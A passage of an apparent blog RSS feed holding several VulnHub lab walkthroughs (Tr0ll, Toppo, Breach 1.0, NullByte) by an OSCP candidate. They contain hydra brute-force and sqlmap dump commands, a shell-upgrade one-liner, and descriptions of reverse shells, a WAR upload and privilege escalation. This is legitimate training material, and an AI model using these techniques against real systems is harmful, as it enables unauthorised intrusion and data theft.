            <atom:updated>2023-12-27T21:30:49.820Z</atom:updated>
            <content:encoded><![CDATA[<h3>Tr0ll machine — Walkthrough</h3><p>Hi guys, this is the tenth day and tenth box (10D-10B for my personal reference). I will be trying to complete at least one box per day (if could two or more) so I could gain my confidence, learn new knowledge, and prepare for OSCP.</p><p>Wish me luck!</p><p>So, today I would like to work on Tr0ll machine, which is from VulnHub. Let’s get started!</p><p>################################################################ — — — — — — — — — Please read to the end! Thank you! — — — — — — — — — <br>################################################################</p><h3>Enumeration</h3><p>Nmap</p><p>There are ports opened on 21, 22, and 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uwu6ZRsD2R0gL8OUEm-CHw.png" /></figure><p>Port 80 — HTTP</p><p>Yes, we have a bit of problem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*fEhOMcZm_HG56E22ApBaTQ.png" /></figure><p>Exiftool got nothing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*e0YU6Yp6DTCquAQ9W9gDow.png" /></figure><p>/secret</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*eDx2HQuf6Gw2Vx205MC6GQ.png" /></figure><p>Exiftool also yield nothing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*pV1dxfzi1NUXJfKCD9JVCw.png" /></figure><p>Port 21 — FTP</p><p>The port is open and no password there. Hope to get something good.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/298/1*Giz-CjSINncrQSkoG13_-g.png" /></figure><p>We have a pcap file that we can use. Wireshark then.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E_gJGDZ8f2fSA20pqSq_wA.png" /></figure><p>Wireshark</p><p>Run up Wireshark. I tried Analyze -&gt; Follow -&gt; TCP stream.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PJKOLGyA3k-fHS1YcaBidw.png" /></figure><p>And we get this. It looks like ther is a secret_stuff.txt in ftp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*2Xr-7hlKmMNyltlm5-zN3Q.png" /></figure><p>Also we have this. This might be the directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*xNVQKbahmuX1TilxryQY0g.png" /></figure><p>/sup3rs3cr3tdirlol</p><p>We can press on the file and it will download it. It is a executable file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*fVgnUjNpqDI1vOtJU35xJg.png" /></figure><p>I make the file executable and once I ran it, it ask me to find that address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*d-9t6-JPKGnIe5jDgyyMyw.png" /></figure><p>And we can see.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*L8MxNcFgrMbN97ODwpG-jQ.png" /></figure><p>/good_luck/which_one_lol.txt</p><p>We can see this when it is pressed. We can try that list or using hydra might be faster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/285/1*iNz-ffTM5Zg6f40U2keWQA.png" /></figure><p><a href="http://10.0.2.12/0x0856BF/this_folder_contains_the_password/Pass.txt">/this_folder_contains_the_password/Pass.txt</a></p><p>This really might be the password or the text file’s name is the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/125/1*M7iMUj1pB0deGlNDATzDZg.png" /></figure><p>Tried to ssh but it failed for most fo them except overflow and genphlux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*d_I9E8f8Sf6H7dITLtxXgQ.png" /></figure><p>Let’s try hydra.</p><blockquote>hydra -L &lt;namelist_path&gt; -P &lt;password_path&gt; &lt;target_ip&gt; ssh</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6_KMDHAuhIcBi-EKlZzd6w.png" /></figure><p>Indeed, what a sneaky bastard.</p><h3>SSH TO OVERFLOW.</h3><p>Now we can ssh to the remote host. But you gonna act fast, as it will close the connection in a few seconds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*Z3OeJl9fkZFiddcjZ2BiAw.png" /></figure><p>But once I upgrade it, It looks fine.</p><blockquote>python -c ‘import pty; pty.spawn(“/bin/bash”)’</blockquote><p>But after a while, yes, I am disconnected again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/275/1*opUaDejdkn7U76NnKl6-9w.png" /></figure><p>Set up a server and download the linpeas.sh to our victim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*8FCzAIfaCMT6qo5JgypJtA.png" /></figure><p>But we managed to run linpeas.sh before the ssh is closed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*DmFpPNGaCuPL76n53U0kdg.png" /></figure><p>Let’s try to see what we can do. (Disclaimer: I failed to escalate my privilege using this method, but there will be another method below.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*Zt9p0mLeMPFnOgkzBcIHcA.png" /></figure><p>I changed it to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/293/1*8AQXjbA9BQOAs-rj3rWc5w.png" /></figure><p>Then, I tried to run, it showed that it failed. (Please let me know where did i get wrong. Thanks!)</p><p>Maybe I should try another method.</p><h3>Method 2 — Previous method failed…</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EuTDNVK3i8JHs0zgf5WgJw.png" /></figure><p>Using searchsploit to gather information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x-wivcK-kncCc2t5N6JJFA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*6dS5V5-gSsk3o32kYiTGLQ.png" /></figure><p>We can follow the steps here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LEClKeMLNpiCz1chGN161g.png" /></figure><p>Now lets try it! Set up a http server for the target machine to download the exploit. Then run it by following the steps on the exploitdb. After complete, we will get the root!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*rIvS7DnSepK7RGzWNs-fhQ.png" /></figure><p>And we get the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*iG8eQuvwcZ2JgLXGaB_Z6w.png" /></figure><p>Voila! Another room done and new things learnt!</p><p>Thank you for reading my write-up. I would like to improve my write-up skills in the future and can reach me through Twitter or comments. Any sponsors also welcomed.</p><p>Twitter: <a href="https://twitter.com/curse_jk">https://twitter.com/curse_jk</a></p><p>Buy me coffee:<a href="https://t.co/rJRLfhekud?amp=1">http://buymeacoffee.com/Cursemagic</a></p><p>Other medium write-ups: <a href="https://t.co/L8d27G9s4f?amp=1">https://cursemagic.medium.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d67b3d0de92c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Toppo machine — Walkthrough]]></title>
            <link>https://cursemagic.medium.com/toppo-machine-walkthrough-283c2635b394?source=rss-6c964c17499d------2</link>
            <guid isPermaLink="false">https://medium.com/p/283c2635b394</guid>
            <category><![CDATA[top-po]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Cursemagic]]></dc:creator>
            <pubDate>Wed, 27 Dec 2023 10:05:01 GMT</pubDate>
            <atom:updated>2023-12-27T10:05:01.853Z</atom:updated>
            <content:encoded><![CDATA[<h3>Toppo machine — Walkthrough</h3><p>Hi guys, this is the ninth day and ninth box (9D-9B for my personal reference). I will be trying to complete at least one box per day (if could two or more) so I could gain my confidence, learn new knowledge, and prepare for OSCP.</p><p>Wish me luck!</p><p>So, today I would like to work on Toppo machine, which is from VulnHub. Let’s get started!</p><p>################################################################ — — — — — — — — — Please read to the end! Thank you! — — — — — — — — — <br>################################################################</p><h3>Enumeration</h3><p>Nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xhs8cNUunHWKQ1LIwTDLZw.png" /></figure><p>Port 80 — HTTP</p><p>There is nothing here so we can run Gobuster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j2UsUfw2n5GiKMnsWx0UUA.png" /></figure><p>Gobuster</p><p>There is a few results here, lets check one by one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*33DDwQigtGzmP-qxrQz1ew.png" /></figure><p>/admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*48-CqCo5uLRPOOiKAF2VeQ.png" /></figure><p>notes.txt</p><p>Looks great, we have a password!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*PP0p1JD3sMaWa-b6PQ5vow.png" /></figure><p>/img</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*QmFq4lQFk_V0AgBQMamGsg.png" /></figure><p>/mail</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*5RkPwqj382J_Z2VZg7Pj9g.png" /></figure><p>contact_me.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/260/1*P5e3bjLwRBkGpJIcduSzYw.png" /></figure><p>/manual</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D_BHTgEDWiG00-PHbmr7Fw.png" /></figure><p>/LICENSE</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*KUEqoVHDgtbjlnGDOzZ7Rw.png" /></figure><p>/package.json</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*jqSqdAUt9ABw1AuyPap84Q.png" /></figure><h3>SSH!</h3><p>After a long time searching for clues, and I suddenly realized the username should be ted. It is literally on the password…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*enkdEMfb_R30NLsf9gZyUg.png" /></figure><p>getting linpeas from our machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sUjcfOfWVZNupG6ii0Eqpg.png" /></figure><h3>To root!</h3><p>After a moment, we can start to check the results. The most obvious to me is this orange highlighted SUID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bwczAe5SBggQ147ykesVHg.png" /></figure><p>Now check on GTFO.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*zlCXlLxAVTGGUkn5pMEgZw.png" /></figure><p>We can try to paste it in and work around the commands and it works!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*_UYcFJlQl_BgiV58jtQOHg.png" /></figure><p>Now getting the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*C5z3a_BZ1hUljNsG6CyjhA.png" /></figure><p>Indeed this is a very easy room as from the box description.</p><p>Thank you for reading my write-up. I would like to improve my write-up skills in the future and can reach me through Twitter or comments. Any sponsors also welcomed.</p><p>Twitter: <a href="https://twitter.com/curse_jk">https://twitter.com/curse_jk</a></p><p>Buy me coffee:<a href="https://t.co/rJRLfhekud?amp=1">http://buymeacoffee.com/Cursemagic</a></p><p>Other medium write-ups: <a href="https://t.co/L8d27G9s4f?amp=1">https://cursemagic.medium.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=283c2635b394" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breach 1.0 machine — Walkthrough]]></title>
            <link>https://cursemagic.medium.com/breach-1-0-machine-walkthrough-6b95744def36?source=rss-6c964c17499d------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b95744def36</guid>
            <category><![CDATA[breach1]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Cursemagic]]></dc:creator>
            <pubDate>Tue, 26 Dec 2023 19:27:56 GMT</pubDate>
            <atom:updated>2023-12-26T19:27:56.548Z</atom:updated>
            <content:encoded><![CDATA[<h3>Breach 1.0 machine — Walkthrough</h3><p>Hi guys, this is the eighth day and eighth box (D-8B for my personal reference). I will be trying to complete at least one box per day (if could two or more) so I could gain my confidence, learn new knowledge, and prepare for OSCP.</p><p>Wish me luck!</p><p>So, today I would like to work on Breach 1.0 machine, which is from VulnHub. Let’s get started!</p><p>################################################################ — — — — — — — — — Please read to the end! Thank you! — — — — — — — — — <br>################################################################</p><h3>Enumeration</h3><p>Nmap</p><p>The moment i run it, I can see there is tons of open ports and I am freaked out for a moment but its ok.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*pRsuGuPZE6O8zPA_HcVK3Q.png" /></figure><p>Gobuster</p><p>Running gobuster and there is only images that we can probably access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*GERIarO6Y-u1lOUhr90SIg.png" /></figure><p>HTTP</p><p>This is the page when the target ip is entered. It looks like someone is not happy with the work or the company and left the parting gift.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0yjqN_PyOiGA1ouuLMKE4Q.png" /></figure><p>There is a string on the source page that might be useful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3mYhGXMbv3-mIHIdaNCgsg.png" /></figure><p>The string was encoded with base64 twice. By using cyberchef, we can easily get the original string, and it looks like credential.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*rUTdB0dOSN5lKTZb-hAyZA.png" /></figure><p>Then, we can press the image and it will lead us to /initech.html.</p><p>/initech.html</p><p>This is the page when it is loaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*ksr1Af5iZH3w3LpYRbd3zA.png" /></figure><p>The source page again, telling us the disgruntled employee is sitting at the beach reading other’s email.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*xp1a2D80JsX_8zs50hseeg.png" /></figure><h3>Exploring the page!</h3><p>/images/cake.jpg</p><p>Pressing the Cake navigation tab on the left will shows us an image. I downloaded it to see if there is any hidden information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*TT4kA7Nfr3ab7oMdUMxqjw.png" /></figure><p>But exiftool looks just fine. Maybe I overthink but sometimes is good to cover all the possible elements.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*SpP1YJH4nVRkNblSTHAjXQ.png" /></figure><p>images/swingline.jpg</p><p>This loads when stapler on the navigation bar is pressed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*Q1bxaO9px1e9g4hoEZlSNA.png" /></figure><p>impresscms/user.php</p><p>When pressed on employee portal, it will lead us here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9ibs1yGAWphBb30dw8rSHw.png" /></figure><p>Try the login credentials found just now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/289/1*2h6fsmaPh9YrmwN4kMGAkw.png" /></figure><p>And we are in as Peter Gibbons.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CWwL64ZIHkhB5AF7tFUANA.png" /></figure><h3>Finding Useful items or things</h3><p>We can see there is 3 new message in the inbox. Let’s check it.</p><p>FWD: Thank you for your purchase of Super Secret Cert Pro!<br>We can see that the user receive a new SSL certificate that is stored in /.keystore.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*i7uE7Oz82XmfIGIf_feEfg.png" /></figure><p>Posting sensitive content</p><p>So, there will be sensitive contents in admin portal. And the password is “extremely secure” or it mean it is extremely secure? Let us find out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*ZjPItfhIlsh4AggZuuceXA.png" /></figure><p>/.keystore</p><p>When you search for /.keystore, it will automatically download a file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*kv6l2-XDwv-O_BgDv3BDwA.png" /></figure><p>Then, when you search ssl on the search bar, it will return a result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*B8nzYWaX5naTW16q3JYAqw.png" /></figure><p>When clicked on the result, we can see that we have a pcap file that we can analyse it, also we also see that alias, storepassword and keypassword are all set to ‘tomcat’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*WGGrIDziXuuIzyGolssLcg.png" /></figure><p>While checking the pcap file with wireshark, using Follow Tcp Stream, the message is encoded and we are nto able to read it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*HVzq8h7rNOS4pEkO9xD6Ow.png" /></figure><p>So, the keystore file must be the “key” to unlock it. After searching for quite sometime, I had located a possible tools that we can use.</p><p>Link: https://security.stackexchange.com/questions/3779/how-can-i-export-my-private-key-from-a-java-keytool-keystore</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*5QndMQeUCrOAns4eEEojkw.png" /></figure><p>And we back to wireshark to place the key we just unlocked. Go to Edit -&gt; Preferences -&gt; Protocol -&gt; TLS (SSL not available) -&gt; Edit… .</p><p>IP address — target IP<br>Port — the http port<br>Protocol — http<br>Key file — the path to your key<br>Password — tomcat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*nle0K-Jj2PXCiRNa3y1Prg.png" /></figure><p>Then by following the http stream, we will get the follow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*wEQHnoWGele6FIVjn0-t7g.png" /></figure><p>Using Cyber chef, we can crack the string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*NgGq3F8VLoLBP0GVspcWlg.png" /></figure><p>Check the stream further and we can see there is a url that we will be possibily using.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*QY7xoU-2gUwinfBIsd6OTQ.png" /></figure><p>Go to the url and key in the password once prompted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*2hUD7xpg12IW0QEoDyFtog.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xBeOFi_JdYl6P7qfHCbbiw.png" /></figure><p>After checking, I think the only way I could think of at the moment is by up loading the file. So, I searched.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*poG9hb6XatqKscsO_tIx8g.png" /></figure><p>Then,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*VjZjB0KFnXV-wHmRzPlFxQ.png" /></figure><p>Finally, upload it to the server. First upload, then deploy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*maQjE8JctcaqZzTjUTkV7g.png" /></figure><p>Set up netcat listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/235/1*eKM5ZVjonkRSoJlMNMUisA.png" /></figure><p>Wait the connection after running the war file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*z--alclstbvFtDGgbAxtlQ.png" /></figure><h3>Shell Finally!</h3><p>Now we can go to upgrade the shell first.</p><blockquote>python -c ‘import pty; pty.spawn(“/bin/bash”)’</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*xScUyc-ti23ZE9ojan554g.png" /></figure><p>Going to milton’s folder. We can see there is a some_script.sh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*OsV0-xUmi11gUpCLW_j_zg.png" /></figure><p>Looks like there is nothing here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*zuF65q8iT72vHBcss8mFFQ.png" /></figure><p>Try to navigate around and see.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*VnUHryttEGodGOOtVzfAyA.png" /></figure><p>From the image above, we can see there is a database but no password. Then, we can try to see if there is anythign we can use in the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*qGlxJjnq4IGS7iYKms00KA.png" /></figure><p>Now, we can try to find.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/203/1*VQP7mtE7qFZF96EpKXeZCA.png" /></figure><p>Then use mysql and show tables.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*BA24hTb2_rgmjZ8wir-eAw.png" /></figure><p>Then, select * from user;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aDpL41ndCQXvhffwrywlQg.png" /></figure><p>We can then crack the hash or the strings using crackstation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*xXPPBdFMYrQ1V1AO5Y8Kyw.png" /></figure><p>Now exit the mysql and switch user to milton with the cracked password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/257/1*6ANsHnRdSfS4Ikcwsv01vg.png" /></figure><h3>TO MILTON!</h3><p>I tried sudo -l to check privilege but it failed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*RMibYcrHTVH170ovsr5UrQ.png" /></figure><p>So, we meet again peas.</p><p>Note: You can download it on /tmp and run chmod 777.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*EZH7L2ZotvRTD8x16FoeNg.png" /></figure><p>And, we found this and it looks good.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*VbKOndR5gAxYdJgRC4wkBw.png" /></figure><p>The file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gh_q4QNN1llSPNN2MSrqSQ.png" /></figure><p>I tried to use it but I am not able to write the file (I still need more learning). Then, I tried to use another method.</p><p>Also, I found an interesting file here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*zGRBM-KLWFxeBhM7NmcdjA.png" /></figure><p>Looks like some script is running every 2 minutes.</p><h3>To Root!</h3><p>After checking, we can see that there is a bill.png. We can use exiftool to read it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*l3qN11V7Z9qtTnZGiycP5A.png" /></figure><p>Then we will get, something in comment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*H_uadvlpslIC8NiBWs7-Hg.png" /></figure><p>We can try to switch user to blumbergh, and it works!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*yQUEEIVTtxvvJyGcsp_O1A.png" /></figure><p>Check for permission:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*pPF87Ot52UwAygpe80OAsA.png" /></figure><p>Showing the content of tidyup.sh:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*P8VEylNP9R0d9PIVVEPU7g.png" /></figure><p>We could use this to our advantage to make a reverse shell.</p><p>We can echo a reverse shell into it and we can set up a listener first.</p><p>I found it on GTFO bins for tee.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*i4Wo7B12iVhXjvDfur6i1A.png" /></figure><p>When I tried to use it, it failed when I include -a in it. BUT, it success when -a is excluded from the command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*DsL4rBg-kkGFevXhJheUFw.png" /></figure><p>Now try it without -a and see if it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*d8Xut7Y7FWSisVEpvQw7zA.png" /></figure><p>Yes, and now we wait for the reverse connection…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*hCXLkBI2_c2hGaubZmHigg.png" /></figure><p>YES, IT IS FINALLY DONE!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*LofrWKfKztXSFWB4q9C2CQ.png" /></figure><p>This box takes me longer than expected… But I guess I learnt something too. So, its a win for me.</p><p>Thank you for reading my write-up. I would like to improve my write-up skills in the future and can reach me through Twitter or comments. Any sponsors also welcomed.</p><p>Twitter: <a href="https://twitter.com/curse_jk">https://twitter.com/curse_jk</a></p><p>Buy me coffee:<a href="https://t.co/rJRLfhekud?amp=1">http://buymeacoffee.com/Cursemagic</a></p><p>Other medium write-ups: <a href="https://t.co/L8d27G9s4f?amp=1">https://cursemagic.medium.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b95744def36" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[NullByte machine — Walkthrough]]></title>
            <link>https://cursemagic.medium.com/nullbyte-machine-walkthrough-ecb58c694098?source=rss-6c964c17499d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ecb58c694098</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[nullbyte]]></category>
            <dc:creator><![CDATA[Cursemagic]]></dc:creator>
            <pubDate>Sun, 24 Dec 2023 19:32:08 GMT</pubDate>
            <atom:updated>2023-12-24T19:32:08.801Z</atom:updated>
            <content:encoded><![CDATA[<h3>NullByte machine — Walkthrough</h3><p>Hi guys, this is the seventh day and seventh box (7D-7B for my personal reference). I will be trying to complete at least one box per day (if could two or more) so I could gain my confidence, learn new knowledge, and prepare for OSCP.</p><p>Wish me luck!</p><p>So, today I would like to work on Nullbyte machine, which is from VulnHub. Let’s get started!</p><p>################################################################ — — — — — — — — — Please read to the end! Thank you! — — — — — — — — — <br>###############################################################</p><h3>Enumeration</h3><p>Nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EhRkwhc6L3BvoTtPxyru_A.png" /></figure><p>Port 80 — HTTP</p><p>I personally hope I can find the laws myself. But anyway, this is what on the page when we go to the link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*MgGwGjslX3QUzOSrtSw37w.png" /></figure><p>Gobuster</p><p>I ran gobuster on the site, but it looks like we have some findings. But, the</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*PQQp8iOlDLmCAU7m5qMWww.png" /></figure><p>Nikto</p><p>Doesn’t looks like wew have anything here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QniYJj6ckgNGK5RhYMgTog.png" /></figure><p>Exiftool</p><p>I downloaded the “Eye of all seeing thingy” from the page and we can run it through exiftool. The comments seems weird here. Encoded message maybe?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*446JexT1Kpy1684MliQIQw.png" /></figure><p>Then after trying, I am able to use the comments on the url and it loads!</p><p>/kzMb5nVYJw</p><p>It requesting a key from us, which I have no idea right now. But when I use the same “kzMb5nVYJw” as key, it shows invalid key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/227/1*CeijamUNJuWC1KAuZmQ7kQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/224/1*v48gndA7R5IhFihLpW_jpA.png" /></figure><p>When looking into the source page, it says:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*1uMoP5hevI0ZA8AfgRZnyA.png" /></figure><h3>Hydra to the KEY</h3><p>Now lets run hydra to get the password. I am not able to think of other method as of now. But yeah, we get the password after running for a while!</p><p>hydra -l “” -P &lt;Path_to_your_dictionary&gt; &lt;Target_IP&gt; http-post-form “/kzMb5nVYJw/index.php:username=^USER^&amp;key=^PASS^:invalid key”</p><p>NOTE: Remember to check the source to see what terms they are using, such as “key” instead of usual “password”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wBY4fT3StCefsIE6nAdHZg.png" /></figure><p>Then, enter the key to it and we get here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vt0HMr37c7AIVpmSi8KZXg.png" /></figure><p>It looks like a search bar for usernames for details maybe? And we also knew that it is mysql from the previous page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*3tIGKUfxxFdstUX1FqbJeQ.png" /></figure><p>Now run sqlmap to check it.</p><p>sqlmap -u <a href="http://10.0.2.10/kzMb5nVYJw/420search.php?usrtosearch=">http://&lt;Target_IP&gt;/kzMb5nVYJw/420search.php?usrtosearch=</a> — dbs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y-5c6tBy9ojatE9NZySmMg.png" /></figure><p>Now let’s try the below:</p><blockquote>sqlmap -u <a href="http://10.0.2.10/kzMb5nVYJw/420search.php?usrtosearch=1">http://&lt;Target_IP&gt;/kzMb5nVYJw/420search.php?usrtosearch=1</a> -D seth — dump-all — batch</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*ooUmemyAOlxFpuFC1Y4DIA.png" /></figure><p>Go to cyberchef, decode the password we found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*8QgN_9_0D2PUCg5Oeu8b-Q.png" /></figure><p>Using CrackStation, we can get the password from the hash after decoded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*FNfgYNYsJfgkV7vcE9a3yA.png" /></figure><p>Now, we can then ssh to it. On port 777.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*Du7Iatr3_TPKLeomABABog.png" /></figure><p>Let’s go!</p><h3>Exploring~</h3><p>When checking the history, I can see there is a backup and ./procwatch. maybe it could help us later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/231/1*wt3vJvrEKk0gTLGJ_DEtvQ.png" /></figure><p>For permission, ramses does not have any permission to run sudo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*5tF3kDA4JPQkKLe05s-BgA.png" /></figure><p>There is also a readme note that stated user wanted to clean up the mess.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*QlqBnbV8LwWtGdLcvVp09A.png" /></figure><p>When running procwatch, it appears as follow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*M9bvsJuLVj5u0azdRfLokQ.png" /></figure><p>So, we can try to change the ps into “/bin/sh”, then add the path to the environment. Then, when we run the procwatch, it will run ps which contain /bin/sh which will give us the root permission.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/464/1*wX6dGJ3cNq5gE7cxlJKjDQ.png" 